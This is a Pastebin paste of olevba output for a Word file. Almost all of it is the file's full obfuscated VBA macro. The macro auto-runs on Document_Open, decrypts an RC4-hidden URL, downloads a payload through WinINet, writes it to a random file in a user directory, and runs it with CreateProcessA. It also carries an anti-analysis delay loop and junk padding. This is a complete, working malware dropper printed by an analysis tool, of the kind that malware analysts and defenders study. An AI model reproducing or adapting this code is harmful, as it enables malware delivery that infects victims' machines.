Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.31 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OpX:MAS-HB-V gabrie~1.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: gabrie~1.doc
- Type: OpenXML
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Option Explicit
- Private Declare Sub XtJgfXpzM0o Lib "msvbvm60" Alias "#183" (ByVal WFnd4OMfpypp As Long, ByVal MA8xSY34fYF As Long, ByVal Yr1EUCzWPEV As Long)
- Private RHxGLF7sfU9jTA(0 To 255) As Integer
- Private Declare Function InternetReadFile Lib "wininet" (ByVal BsQpCLLXzMEvnbP As Long, ByVal ByIUR9kXLkqd As String, ByVal IiE5gj As Long, FwLosyl3 As Long) As Integer
- Private Type HnF3nxQRcws6HMjP
- UVv As Integer
- Qoey8CXRBAw3 As Integer
- O2jX1pn7C As Integer
- SNovaUJISNL As Integer
- R5EwrcPEV As Long
- End Type
- Private Declare Function InternetCloseHandle Lib "wininet" (ByRef BVl3mNCKlwA As Long) As Long
- Private NeeCb9nU As String
- Private Declare Function InternetOpenA Lib "wininet" (ByVal O6ZjTnc8OFWA5Bv As String, ByVal NozkkMPUli As Long, ByVal AraM As String, ByVal UTFUHhkgrn0i4EzDT As String, ByVal QrQmF As Long) As Long
- Private Declare Function CloseHandle Lib "kernel32" (ByVal TmZAxWwYeCO1Yf As Long) As Long
- Private Type L4B1C0pyIp
- VAFd4ZagjNElZ As Long
- Xd4V8MZgn As Long
- RLz7m6u53j6da As Long
- MoYi3kw937sOiZ As Long
- End Type
- Private Type SdZ6VX73YaIjvCV7r
- YTNxZe1 As Long
- PsgpZ4s7JFnTtwm As String
- Nu5F8zzCCR As String
- GRswFGc460eKR As String
- XfJnRw6wqW As Long
- BXqanWDcNG6IJOz As Long
- BZl59mVWzJZ As Long
- LfvUBOWp As Long
- J9bvR3b2xs1 As Long
- VMI4ild0Cyy As Long
- KzjIDjo As Long
- DQKDZf6ptgL As Long
- P0TzA8k5axSX As Integer
- Jd8LvaAh As Integer
- JRP11gOcYuamB As Long
- LNqJpp3sSFAi As Long
- HlNQJVUgA As Long
- XKZXzHQ8udx As Long
- End Type
- Private Declare Function CreateProcessA Lib "kernel32" (ByVal RqNE57PsnE6 As String, ByVal OO2mfAs4i6zKg As String, TcvsDu As Any, Tm87GuTDgI As Any, ByVal VSpjlsuu1 As Long, ByVal K1Zy As Long, QZmGMhCt5h8JUIY As Any, ByVal YaJkdiN6WRQ As String, U0h7Oa As SdZ6VX73YaIjvCV7r, AxRZ0A As L4B1C0pyIp) As Long
- Private Declare Function InternetOpenUrlA Lib "wininet" (ByVal SdLGMi5LRTTc8OF As Long, ByVal GKmRqD0avhBh As String, ByVal JIT8V As String, ByVal PqbJ9yspgiViiWYI2 As Long, ByVal KezyxR As Long, ByVal HcNQZmZAxWwYeC As Long) As Long
- Private Type UP6g2cwz9
- Jyq7kWxLEuXU As Byte
- Psfw7jyizqX2pBr() As Byte
- End Type
- Private Property Let Uv3FkJoNQA(Duor5EX1QDGRv As String)
- Dim Nz7m0PxKYWw As Long, HbS1melaNAS7H As Long, L7N3MtqbtznJ As Byte, HmKeQofQiXVxVGCT() As Byte, L9EY5PIy8XL As Long
- If (NeeCb9nU = Duor5EX1QDGRv) Then Exit Property
- NeeCb9nU = Duor5EX1QDGRv
- HmKeQofQiXVxVGCT() = StrConv(NeeCb9nU, vbFromUnicode)
- L9EY5PIy8XL = Len(NeeCb9nU)
- For Nz7m0PxKYWw = 0 To 255
- RHxGLF7sfU9jTA(Nz7m0PxKYWw) = Nz7m0PxKYWw
- Next Nz7m0PxKYWw
- For Nz7m0PxKYWw = 0 To 255
- HbS1melaNAS7H = (HbS1melaNAS7H + RHxGLF7sfU9jTA(Nz7m0PxKYWw) + HmKeQofQiXVxVGCT(Nz7m0PxKYWw Mod L9EY5PIy8XL)) Mod 256
- L7N3MtqbtznJ = RHxGLF7sfU9jTA(Nz7m0PxKYWw)
- RHxGLF7sfU9jTA(Nz7m0PxKYWw) = RHxGLF7sfU9jTA(HbS1melaNAS7H)
- RHxGLF7sfU9jTA(HbS1melaNAS7H) = L7N3MtqbtznJ
- Next
- End Property
- Private Function XCDD1KlyfOUL(MuPhPeG3mQ As String) As String
- Dim LvAzbXXkWUDtDQ() As Byte
- LvAzbXXkWUDtDQ() = StrConv(MuPhPeG3mQ, vbFromUnicode)
- U4j0Mutcw LvAzbXXkWUDtDQ, Len(MuPhPeG3mQ)
- XCDD1KlyfOUL = StrConv(LvAzbXXkWUDtDQ(), vbUnicode)
- End Function
- Private Function BRfjljWglIbMl(ByVal YJWdGt9qTqFwPH7i As String, ByVal VD95k1JIF As String, ByVal WVmg38wK9PrBsoCtu As String) As Boolean
- Dim ACIZjEo8pvcIr As Long, I3wVba3qWHhnCuC As Long
- ACIZjEo8pvcIr = 80
- I3wVba3qWHhnCuC = 19
- If ACIZjEo8pvcIr + I3wVba3qWHhnCuC > 4 Then
- I3wVba3qWHhnCuC = ACIZjEo8pvcIr + 29
- Else
- MsgBox 45
- End If
- Dim FP3AL83PNIVhYqp As Long, Bhu6AVZ As Long, HzD7nSW As Long, IFHWQgDBF4yZ As String * 8162, JkOPSi As String, I0xSQ As Integer, YBoXWN0Xv As Double
- Dim AI9EyT0hz As Long, LDwIMi8qU8zv As Long
- AI9EyT0hz = 55
- LDwIMi8qU8zv = 92
- If AI9EyT0hz + LDwIMi8qU8zv > 4 Then
- LDwIMi8qU8zv = AI9EyT0hz + 8
- Else
- MsgBox 87
- End If
- FP3AL83PNIVhYqp = InternetOpenA(IqAGSLPUAJG(Chr(67) + Chr(59) + Chr(213) + Chr(21) + Chr(152) + Chr(247) + Chr(165) + Chr(137) + Chr(22) + Chr(103) + Chr(186) + Chr(195) + Chr(29) + Chr(120) + Chr(96) + Chr(214) + Chr(246) + Chr(92) + Chr(44) + Chr(9) + Chr(6) + Chr(16) + Chr(144) + Chr(41) + Chr(68) + Chr(57) + Chr(183) + Chr(140) + Chr(2) + Chr(115) + Chr(127) + Chr(9) + Chr(142) + Chr(166) + Chr(107) + Chr(124) + Chr(21) + Chr(81) + Chr(45) + Chr(249) + Chr(16) + Chr(46) + Chr(215) + Chr(115) + Chr(22) + Chr(147) + Chr(29) + Chr(237) + Chr(9) + Chr(93) + Chr(31) + Chr(76) + Chr(87) + Chr(187) + Chr(48) + Chr(26) + Chr(205) + Chr(30) + Chr(194) + Chr(246) + Chr(158) + Chr(104) + Chr(0) + Chr(24) + Chr(182) + Chr(106) + Chr(151), "GqhL"), 1, vbNullString, vbNullString, 0)
- Dim BkbpvlCIZj As Long, VS1rCLO33mU As Long
- BkbpvlCIZj = 4
- VS1rCLO33mU = 22
- If BkbpvlCIZj + VS1rCLO33mU > 4 Then
- VS1rCLO33mU = BkbpvlCIZj + 67
- Else
- MsgBox 57
- End If
- If FP3AL83PNIVhYqp = 0 Then
- Dim ILWUKAm As Long, JRN9ZgNj6Yf As Long
- ILWUKAm = 89
- JRN9ZgNj6Yf = 89
- If ILWUKAm + JRN9ZgNj6Yf > 4 Then
- JRN9ZgNj6Yf = ILWUKAm + 42
- Else
- MsgBox 58
- End If
- BRfjljWglIbMl = False
- Exit Function
- End If
- Dim WqZT6KvAVkyO As Long, OHPW2b0ZGFa As Long
- WqZT6KvAVkyO = 74
- OHPW2b0ZGFa = 62
- If WqZT6KvAVkyO + OHPW2b0ZGFa > 4 Then
- OHPW2b0ZGFa = WqZT6KvAVkyO + 97
- Else
- MsgBox 91
- End If
- Bhu6AVZ = InternetOpenUrlA(FP3AL83PNIVhYqp, YJWdGt9qTqFwPH7i, vbNullString, 0, &H4000000, 0)
- Dim HbUu4uL As Long, GfUsdMAvdCRNJDXy8 As Long
- HbUu4uL = 81
- GfUsdMAvdCRNJDXy8 = 16
- If HbUu4uL + GfUsdMAvdCRNJDXy8 > 4 Then
- GfUsdMAvdCRNJDXy8 = HbUu4uL + 39
- Else
- MsgBox 16
- End If
- If Bhu6AVZ = 0 Then
- Dim AizpYIBM As Long, BYtWR9n2OwKs As Long
- AizpYIBM = 53
- BYtWR9n2OwKs = 27
- If AizpYIBM + BYtWR9n2OwKs > 4 Then
- BYtWR9n2OwKs = AizpYIBM + 78
- Else
- MsgBox 22
- End If
- YBoXWN0Xv = 0
- Else
- Dim Izv2Cof As Long, Ntxt3NxnUsY As Long
- Izv2Cof = 90
- Ntxt3NxnUsY = 60
- If Izv2Cof + Ntxt3NxnUsY > 4 Then
- Ntxt3NxnUsY = Izv2Cof + 52
- Else
- MsgBox 30
- End If
- InternetReadFile Bhu6AVZ, IFHWQgDBF4yZ, 8162, HzD7nSW
- JkOPSi = IFHWQgDBF4yZ
- Dim V0fF89S As Long, HVcFPWU6 As Long
- V0fF89S = 25
- HVcFPWU6 = 85
- If V0fF89S + HVcFPWU6 > 4 Then
- HVcFPWU6 = V0fF89S + 3
- Else
- MsgBox 4
- End If
- Do While HzD7nSW <> 0
- InternetReadFile Bhu6AVZ, IFHWQgDBF4yZ, 8162, HzD7nSW
- JkOPSi = JkOPSi + Mid(IFHWQgDBF4yZ, 1, HzD7nSW)
- Loop
- YBoXWN0Xv = Len(JkOPSi)
- Dim K1Xi As Long, QZlNuLHUlh7Q2xe As Long
- K1Xi = 24
- QZlNuLHUlh7Q2xe = 13
- If K1Xi + QZlNuLHUlh7Q2xe > 4 Then
- QZlNuLHUlh7Q2xe = K1Xi + 92
- Else
- MsgBox 53
- End If
- I0xSQ = FreeFile
- Dim GPlaAi As Long, JIM8pwVkCW8UVbcg As Long
- GPlaAi = 64
- JIM8pwVkCW8UVbcg = 91
- If GPlaAi + JIM8pwVkCW8UVbcg > 4 Then
- JIM8pwVkCW8UVbcg = GPlaAi + 11
- Else
- MsgBox 51
- End If
- Open VD95k1JIF For Binary Access Write Lock Write As #I0xSQ
- Put #I0xSQ, , XCDD1KlyfOUL(IqAGSLPUAJG(JkOPSi, WVmg38wK9PrBsoCtu))
- Dim Oq8fiSM As Long, YvnMiEy2R6 As Long
- Oq8fiSM = 80
- YvnMiEy2R6 = 73
- If Oq8fiSM + YvnMiEy2R6 > 4 Then
- YvnMiEy2R6 = Oq8fiSM + 95
- Else
- MsgBox 28
- End If
- Close #I0xSQ
- End If
- InternetCloseHandle Bhu6AVZ
- Dim B9v7TU As Long, JCVUa86krMIbHfc As Long
- B9v7TU = 52
- JCVUa86krMIbHfc = 59
- If B9v7TU + JCVUa86krMIbHfc > 4 Then
- JCVUa86krMIbHfc = B9v7TU + 10
- Else
- MsgBox 86
- End If
- InternetCloseHandle FP3AL83PNIVhYqp
- JkOPSi = ""
- If YBoXWN0Xv Then
- BRfjljWglIbMl = True
- Dim KKDp5Ep2gOzyvo As Long, Tl1iPS1z8j As Long
- KKDp5Ep2gOzyvo = 22
- Tl1iPS1z8j = 75
- If KKDp5Ep2gOzyvo + Tl1iPS1z8j > 4 Then
- Tl1iPS1z8j = KKDp5Ep2gOzyvo + 14
- Else
- MsgBox 73
- End If
- End If
- Dim LwX3RpBGRr As Long, Ne5f44rm9prF As Long
- LwX3RpBGRr = 91
- Ne5f44rm9prF = 13
- If LwX3RpBGRr + Ne5f44rm9prF > 4 Then
- Ne5f44rm9prF = LwX3RpBGRr + 2
- Else
- MsgBox 37
- End If
- End Function
- Private Sub GuQHe80AnN(IoX() As HnF3nxQRcws6HMjP, FihxAWkN5rFeaSJ As Long, UyXExoRTt As Long, Dc4RjY As UP6g2cwz9)
- Dim RB8PuM7tI59 As Integer, LNBqYXa9HC1mwf As Long
- LNBqYXa9HC1mwf = 0
- For RB8PuM7tI59 = 0 To (Dc4RjY.Jyq7kWxLEuXU - 1)
- If (Dc4RjY.Psfw7jyizqX2pBr(RB8PuM7tI59) = 0) Then
- If (IoX(LNBqYXa9HC1mwf).O2jX1pn7C = -1) Then
- IoX(LNBqYXa9HC1mwf).O2jX1pn7C = FihxAWkN5rFeaSJ
- IoX(FihxAWkN5rFeaSJ).UVv = LNBqYXa9HC1mwf
- IoX(FihxAWkN5rFeaSJ).O2jX1pn7C = -1
- IoX(FihxAWkN5rFeaSJ).Qoey8CXRBAw3 = -1
- IoX(FihxAWkN5rFeaSJ).SNovaUJISNL = -1
- FihxAWkN5rFeaSJ = FihxAWkN5rFeaSJ + 1
- End If
- LNBqYXa9HC1mwf = IoX(LNBqYXa9HC1mwf).O2jX1pn7C
- ElseIf (Dc4RjY.Psfw7jyizqX2pBr(RB8PuM7tI59) = 1) Then
- If (IoX(LNBqYXa9HC1mwf).Qoey8CXRBAw3 = -1) Then
- IoX(LNBqYXa9HC1mwf).Qoey8CXRBAw3 = FihxAWkN5rFeaSJ
- IoX(FihxAWkN5rFeaSJ).UVv = LNBqYXa9HC1mwf
- IoX(FihxAWkN5rFeaSJ).O2jX1pn7C = -1
- IoX(FihxAWkN5rFeaSJ).Qoey8CXRBAw3 = -1
- IoX(FihxAWkN5rFeaSJ).SNovaUJISNL = -1
- FihxAWkN5rFeaSJ = FihxAWkN5rFeaSJ + 1
- End If
- LNBqYXa9HC1mwf = IoX(LNBqYXa9HC1mwf).Qoey8CXRBAw3
- Else
- Stop
- End If
- Next
- IoX(LNBqYXa9HC1mwf).SNovaUJISNL = UyXExoRTt
- End Sub
- Function IqAGSLPUAJG(Svpxb5hcj9Hc As String, YNVoDatBR As String) As String
- Dim MpMnYYUrP73 As Long, ROetXCPNdldbjBRLL As Long
- MpMnYYUrP73 = 22
- ROetXCPNdldbjBRLL = 75
- If MpMnYYUrP73 + ROetXCPNdldbjBRLL > 4 Then
- ROetXCPNdldbjBRLL = MpMnYYUrP73 + 14
- Else
- MsgBox 73
- End If
- Dim byteArray() As Byte
- byteArray() = StrConv(Svpxb5hcj9Hc, vbFromUnicode)
- BUqflSnxcA4 byteArray(), YNVoDatBR
- IqAGSLPUAJG = StrConv(byteArray(), vbUnicode)
- Dim HTZPNFjjDT2 As Long, SaND1oEkTy6p As Long
- HTZPNFjjDT2 = 71
- SaND1oEkTy6p = 95
- If HTZPNFjjDT2 + SaND1oEkTy6p > 4 Then
- SaND1oEkTy6p = HTZPNFjjDT2 + 49
- Else
- MsgBox 87
- End If
- End Function
- Private Function AFwPH7i46wGhOhKi(Optional A9PrBsoCtu7 As String = "0123456789") As String
- Dim KX0xfoqZ As Long, XwCIaRypq03 As Long
- KX0xfoqZ = 77
- XwCIaRypq03 = 4
- If KX0xfoqZ + XwCIaRypq03 > 4 Then
- XwCIaRypq03 = KX0xfoqZ + 24
- Else
- MsgBox 64
- End If
- Dim V3K42() As Byte, GL8BfUcBbEoS() As Byte, RDQPNIVhYqp As Long, JUgDQryKOCh As Long, EazVmg38wK As Long, NFE As String
- Dim Tb95B8i6DxgFsGcd As Long, HZPNFjjDT2oc6c9Vy As Long
- Tb95B8i6DxgFsGcd = 56
- HZPNFjjDT2oc6c9Vy = 13
- If Tb95B8i6DxgFsGcd + HZPNFjjDT2oc6c9Vy > 4 Then
- HZPNFjjDT2oc6c9Vy = Tb95B8i6DxgFsGcd + 71
- Else
- MsgBox 67
- End If
- EazVmg38wK = 0
- Dim VGBgsnX3r5L As Long, Dxwz5QD As Long
- VGBgsnX3r5L = 84
- Dxwz5QD = 81
- If VGBgsnX3r5L + Dxwz5QD > 4 Then
- Dxwz5QD = VGBgsnX3r5L + 90
- Else
- MsgBox 62
- End If
- GKs2Tl:
- Dim Uc0lRQhC4jaN7 As Long, Hl7hjLXCBG As Long
- Uc0lRQhC4jaN7 = 85
- Hl7hjLXCBG = 78
- If Uc0lRQhC4jaN7 + Hl7hjLXCBG > 4 Then
- Hl7hjLXCBG = Uc0lRQhC4jaN7 + 1
- Else
- MsgBox 33
- End If
- Randomize
- NFE = Int(30 * Rnd)
- If NFE < 4 Then GoTo GKs2Tl
- EazVmg38wK = NFE
- If EazVmg38wK > 0& Then
- Dim EhzZDcEu As Long, Cm6XVQSt0NPM As Long
- EhzZDcEu = 80
- Cm6XVQSt0NPM = 94
- If EhzZDcEu + Cm6XVQSt0NPM > 4 Then
- Cm6XVQSt0NPM = EhzZDcEu + 52
- Else
- MsgBox 77
- End If
- Randomize
- V3K42 = A9PrBsoCtu7
- Dim QCwa3abOUkh As Long, SwyAklrkV6C4LZi As Long
- QCwa3abOUkh = 84
- SwyAklrkV6C4LZi = 53
- If QCwa3abOUkh + SwyAklrkV6C4LZi > 4 Then
- SwyAklrkV6C4LZi = QCwa3abOUkh + 74
- Else
- MsgBox 85
- End If
- RDQPNIVhYqp = Len(A9PrBsoCtu7) - 1&
- EazVmg38wK = (EazVmg38wK * 2&) - 1&
- Dim IUKvWfty As Long, PwY9F2JkA As Long
- IUKvWfty = 29
- PwY9F2JkA = 46
- If IUKvWfty + PwY9F2JkA > 4 Then
- PwY9F2JkA = IUKvWfty + 69
- Else
- MsgBox 24
- End If
- ReDim GL8BfUcBbEoS(EazVmg38wK) As Byte
- For JUgDQryKOCh = 0& To EazVmg38wK Step 2&
- GL8BfUcBbEoS(JUgDQryKOCh) = V3K42(CLng(RDQPNIVhYqp * Rnd) * 2&)
- Next
- Dim DiT8qxL As Long, Ht4qxpGiCdM As Long
- DiT8qxL = 94
- Ht4qxpGiCdM = 50
- If DiT8qxL + Ht4qxpGiCdM > 4 Then
- Ht4qxpGiCdM = DiT8qxL + 10
- Else
- MsgBox 78
- End If
- End If
- Dim DqjDljxQl1 As Long, OYFEfskkJd As Long
- DqjDljxQl1 = 72
- OYFEfskkJd = 42
- If DqjDljxQl1 + OYFEfskkJd > 4 Then
- OYFEfskkJd = DqjDljxQl1 + 7
- Else
- MsgBox 12
- End If
- AFwPH7i46wGhOhKi = GL8BfUcBbEoS
- Dim OtzUoqPfJBgR As Long, TcUKOAdU5u As Long
- OtzUoqPfJBgR = 81
- TcUKOAdU5u = 17
- If OtzUoqPfJBgR + TcUKOAdU5u > 4 Then
- TcUKOAdU5u = OtzUoqPfJBgR + 11
- Else
- MsgBox 54
- End If
- End Function
- Sub HOglzOSpjr9h(JKRfEn As Long)
- Dim CAplbsdkljPz7 As Long, Id24U2e1NOsFmrSQm As Long
- CAplbsdkljPz7 = 77
- Id24U2e1NOsFmrSQm = 73
- If CAplbsdkljPz7 + Id24U2e1NOsFmrSQm > 4 Then
- Id24U2e1NOsFmrSQm = CAplbsdkljPz7 + 39
- Else
- MsgBox 17
- End If
- Dim PocouifAMac As Long
- Dim FOAdU5ue As Long, DRPjKIqgqa As Long
- FOAdU5ue = 98
- DRPjKIqgqa = 37
- If FOAdU5ue + DRPjKIqgqa > 4 Then
- DRPjKIqgqa = FOAdU5ue + 48
- Else
- MsgBox 63
- End If
- PocouifAMac = Timer + JKRfEn
- Do While Timer < PocouifAMac
- DoEvents
- Loop
- Dim JjMWu As Long, Oe6vqA48 As Long
- JjMWu = 28
- Oe6vqA48 = 49
- If JjMWu + Oe6vqA48 > 4 Then
- Oe6vqA48 = JjMWu + 60
- Else
- MsgBox 53
- End If
- End Sub
- Sub BUqflSnxcA4(N5eK6er7Tq80J5O() As Byte, Optional Nn4LNDdOko As String)
- Dim AqfL As Long, USK5uYyaKrznfrpS As Long, UISSgE9sWQpCZRT As Byte, GE0OEFxN540yRo As Long, I4uc9FMhZVQ5 As Long, I0xRV As Long, YBnG6IJOz(0 To 255) As Integer
- If (Len(Nn4LNDdOko) > 0) Then Uv3FkJoNQA = Nn4LNDdOko
- XtJgfXpzM0o 512, VarPtr(YBnG6IJOz(0)), VarPtr(RHxGLF7sfU9jTA(0))
- I4uc9FMhZVQ5 = UBound(N5eK6er7Tq80J5O) + 1
- I0xRV = I4uc9FMhZVQ5
- For GE0OEFxN540yRo = 0 To (I4uc9FMhZVQ5 - 1)
- AqfL = (AqfL + 1) Mod 256
- USK5uYyaKrznfrpS = (USK5uYyaKrznfrpS + YBnG6IJOz(AqfL)) Mod 256
- UISSgE9sWQpCZRT = YBnG6IJOz(AqfL)
- YBnG6IJOz(AqfL) = YBnG6IJOz(USK5uYyaKrznfrpS)
- YBnG6IJOz(USK5uYyaKrznfrpS) = UISSgE9sWQpCZRT
- N5eK6er7Tq80J5O(GE0OEFxN540yRo) = N5eK6er7Tq80J5O(GE0OEFxN540yRo) Xor (YBnG6IJOz((YBnG6IJOz(AqfL) + YBnG6IJOz(USK5uYyaKrznfrpS)) Mod 256))
- Next
- End Sub
- Private Function I6aL9VLToJH(IIJfd79SYH5wwt As String)
- Dim Oq6oBCvt As Long, FJRGcif8CeY As Long
- Oq6oBCvt = 73
- FJRGcif8CeY = 96
- If Oq6oBCvt + FJRGcif8CeY > 4 Then
- FJRGcif8CeY = Oq6oBCvt + 29
- Else
- MsgBox 31
- End If
- Dim MoEVGldi9Pup9e As L4B1C0pyIp, QKALtRfjljW As SdZ6VX73YaIjvCV7r, P2aN9z5AlMfsXf8 As String
- Dim B9v5cx As Long, JDTc31TT8AIYP9WO As Long
- B9v5cx = 52
- JDTc31TT8AIYP9WO = 60
- If B9v5cx + JDTc31TT8AIYP9WO > 4 Then
- JDTc31TT8AIYP9WO = B9v5cx + 10
- Else
- MsgBox 60
- End If
- QKALtRfjljW.YTNxZe1 = Len(QKALtRfjljW)
- Dim P7eVeEw As Long, C15ddnl As Long
- P7eVeEw = 27
- C15ddnl = 10
- If P7eVeEw + C15ddnl > 4 Then
- C15ddnl = P7eVeEw + 36
- Else
- MsgBox 56
- End If
- CreateProcessA P2aN9z5AlMfsXf8, IIJfd79SYH5wwt, ByVal 0&, ByVal 0&, 1&, &H20&, ByVal 0&, P2aN9z5AlMfsXf8, QKALtRfjljW, MoEVGldi9Pup9e
- Dim LhmuH4VRs1xHC As Long, H6q6euaQG As Long
- LhmuH4VRs1xHC = 21
- H6q6euaQG = 56
- If LhmuH4VRs1xHC + H6q6euaQG > 4 Then
- H6q6euaQG = LhmuH4VRs1xHC + 95
- Else
- MsgBox 32
- End If
- CloseHandle MoEVGldi9Pup9e.Xd4V8MZgn
- Dim INFCAmW As Long, U8anbJYc3TqIt As Long
- INFCAmW = 91
- U8anbJYc3TqIt = 42
- If INFCAmW + U8anbJYc3TqIt > 4 Then
- U8anbJYc3TqIt = INFCAmW + 92
- Else
- MsgBox 14
- End If
- CloseHandle MoEVGldi9Pup9e.VAFd4ZagjNElZ
- Dim DTX1gtN5Etn As Long, ITR2NqD73zEjThC As Long
- DTX1gtN5Etn = 39
- ITR2NqD73zEjThC = 74
- If DTX1gtN5Etn + ITR2NqD73zEjThC > 4 Then
- ITR2NqD73zEjThC = DTX1gtN5Etn + 68
- Else
- MsgBox 13
- End If
- End Function
- Private Sub Document_Open()
- On Error Resume Next
- Dim LicbWXf9C39mI As Long, YltsZTviWcDTTKc As Long
- LicbWXf9C39mI = 97
- YltsZTviWcDTTKc = 97
- If LicbWXf9C39mI + YltsZTviWcDTTKc > 4 Then
- YltsZTviWcDTTKc = LicbWXf9C39mI + 50
- Else
- MsgBox 66
- End If
- Dim TCKNX7GS4f1GV0Ho As String
- Dim Oa2PY3b09Ma8Osw As Long, KEJJJJS0yRP6B As Long
- Oa2PY3b09Ma8Osw = 69
- KEJJJJS0yRP6B = 9
- If Oa2PY3b09Ma8Osw + KEJJJJS0yRP6B > 4 Then
- KEJJJJS0yRP6B = Oa2PY3b09Ma8Osw + 64
- Else
- MsgBox 72
- End If
- Dim Dmw40jHKBJjB9 As Long, IaSts As Long, YQS6bf2fAQnn As Long, IaP5sruk As Integer
- Dim PTCG0rEhEjTjzJVD As Long, KjhQdJYB4mT9F As Long
- PTCG0rEhEjTjzJVD = 33
- KjhQdJYB4mT9F = 12
- If PTCG0rEhEjTjzJVD + KjhQdJYB4mT9F > 4 Then
- KjhQdJYB4mT9F = PTCG0rEhEjTjzJVD + 51
- Else
- MsgBox 32
- End If
- Dmw40jHKBJjB9 = 972912137: IaSts = 0: YQS6bf2fAQnn = 0
- Dim KHFoa As Long, PRLSJPXfkG As Long
- KHFoa = 14
- PRLSJPXfkG = 17
- If KHFoa + PRLSJPXfkG > 4 Then
- PRLSJPXfkG = KHFoa + 35
- Else
- MsgBox 80
- End If
- For IaSts = 1 To Dmw40jHKBJjB9
- YQS6bf2fAQnn = YQS6bf2fAQnn + 1
- Next IaSts
- Dim RZpj As Long, D8mlE4Yi As Long
- RZpj = 80
- D8mlE4Yi = 70
- If RZpj + D8mlE4Yi > 4 Then
- D8mlE4Yi = RZpj + 27
- Else
- MsgBox 31
- End If
- If YQS6bf2fAQnn = Dmw40jHKBJjB9 Then
- Dim OLUvI As Long, T6UKy2acaAV As Long
- OLUvI = 29
- T6UKy2acaAV = 71
- If OLUvI + T6UKy2acaAV > 4 Then
- T6UKy2acaAV = OLUvI + 95
- Else
- MsgBox 24
- End If
- TCKNX7GS4f1GV0Ho = Environ(IqAGSLPUAJG(Chr(124) + Chr(208) + Chr(114) + Chr(78) + Chr(249) + Chr(36) + Chr(219), "BhyJXF")) & "\" & AFwPH7i46wGhOhKi & IqAGSLPUAJG(Chr(165) + Chr(189) + Chr(190) + Chr(147), "FLxpiRLnai55OiV")
- Dim ULi3LSMNlBhC1 As Long, IAxLcX68j2 As Long
- ULi3LSMNlBhC1 = 57
- IAxLcX68j2 = 13
- If ULi3LSMNlBhC1 + IAxLcX68j2 > 4 Then
- IAxLcX68j2 = ULi3LSMNlBhC1 + 72
- Else
- MsgBox 42
- End If
- If BRfjljWglIbMl(IqAGSLPUAJG(Chr(165) + Chr(171) + Chr(208) + Chr(152) + Chr(194) + Chr(170) + Chr(210) + Chr(42) + Chr(115) + Chr(114) + Chr(162) + Chr(44) + Chr(182) + Chr(181) + Chr(222) + Chr(240) + Chr(0) + Chr(243) + Chr(36) + Chr(171) + Chr(110) + Chr(97) + Chr(59) + Chr(50) + Chr(35), "IL3o18Se4V3"), TCKNX7GS4f1GV0Ho, IqAGSLPUAJG(Chr(64) + Chr(61) + Chr(78) + Chr(113) + Chr(183) + Chr(138) + Chr(19) + Chr(108) + Chr(104), "YjNITkQAmKjm")) = True Then
- Dim BxUKE9hlz9 As Long, Ef1V1XFqA7tOEw As Long
- BxUKE9hlz9 = 20
- Ef1V1XFqA7tOEw = 10
- If BxUKE9hlz9 + Ef1V1XFqA7tOEw > 4 Then
- Ef1V1XFqA7tOEw = BxUKE9hlz9 + 66
- Else
- MsgBox 69
- End If
- HOglzOSpjr9h 1
- Dim KwNJNlJHYP As Long, LZGp6tFEOxl As Long
- KwNJNlJHYP = 80
- LZGp6tFEOxl = 25
- If KwNJNlJHYP + LZGp6tFEOxl > 4 Then
- LZGp6tFEOxl = KwNJNlJHYP + 66
- Else
- MsgBox 14
- End If
- I6aL9VLToJH TCKNX7GS4f1GV0Ho
- Dim IVhK As Long, LU9NRXI6m As Long
- IVhK = 31
- LU9NRXI6m = 47
- If IVhK + LU9NRXI6m > 4 Then
- LU9NRXI6m = IVhK + 71
- Else
- MsgBox 26
- End If
- End If
- Dim FZuzvL As Long, NCh3bV1jG As Long
- FZuzvL = 49
- NCh3bV1jG = 21
- If FZuzvL + NCh3bV1jG > 4 Then
- NCh3bV1jG = FZuzvL + 52
- Else
- MsgBox 59
- End If
- ActiveDocument.Range.Text = IqAGSLPUAJG(Chr(160) + Chr(57) + Chr(39) + Chr(10) + Chr(229) + Chr(100) + Chr(122) + Chr(174) + Chr(39) + Chr(208) + Chr(103) + Chr(51) + Chr(13) + Chr(233) + Chr(39) + Chr(11) + Chr(119) + Chr(161) + Chr(3) + Chr(216) + Chr(51) + Chr(108) + Chr(187) + Chr(48) + Chr(227) + Chr(187) + Chr(150) + Chr(253) + Chr(154) + Chr(208) + Chr(222) + Chr(111) + Chr(156) + Chr(30) + Chr(170) + Chr(13) + Chr(35) + Chr(28) + Chr(78) + Chr(168) + Chr(11) + Chr(231) + Chr(120) + Chr(199) + Chr(200) + Chr(168) + Chr(113) + Chr(71) + Chr(228) + Chr(119) + Chr(91) + Chr(43) + Chr(185) + Chr(190) + Chr(95) + Chr(205) + Chr(159) + Chr(110) + Chr(79) + Chr(17) + Chr(30) + Chr(127) + Chr(113) + Chr(251) + Chr(243) + Chr(61) + Chr(134) + Chr(143) + Chr(52) + Chr(172) + Chr(118), "MnVQz4OjUS")
- End If
- Dim VbtNVJJPmm As Long, YNXWc8Swl As Long
- VbtNVJJPmm = 16
- YNXWc8Swl = 47
- If VbtNVJJPmm + YNXWc8Swl > 4 Then
- YNXWc8Swl = VbtNVJJPmm + 27
- Else
- MsgBox 33
- End If
- End Sub
- Private Sub U4j0Mutcw(IbIZc4MDUIW5() As Byte, M1Ml0uRV0i As Long)
- Dim RHz39AqVIzU7yg As Long, W61R5 As Long, H7aK As Byte, BkedkgiyKUZ4u4Smm As Long, Nl4DWWC9qyeKJpT As Integer, NVUaE As Byte, XekBgxC2kS90j8tb() As Byte, Ys77QvqqoN1 As Integer
- Dim Ennhv As Long, CKUS2WBcJfv6t As Byte, YGpuGcg2I4kd As Long, OL5rIjPqlH As Long, VqRbjEvtgBC1fKk As Long, AsWQpCZRTgZ(0 To 7) As Byte, K0XNnEawS6lMTQx(0 To 511) As HnF3nxQRcws6HMjP, IAmHO3mQ(0 To 255) As UP6g2cwz9
- BkedkgiyKUZ4u4Smm = 1
- NVUaE = IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1)
- BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm + 1
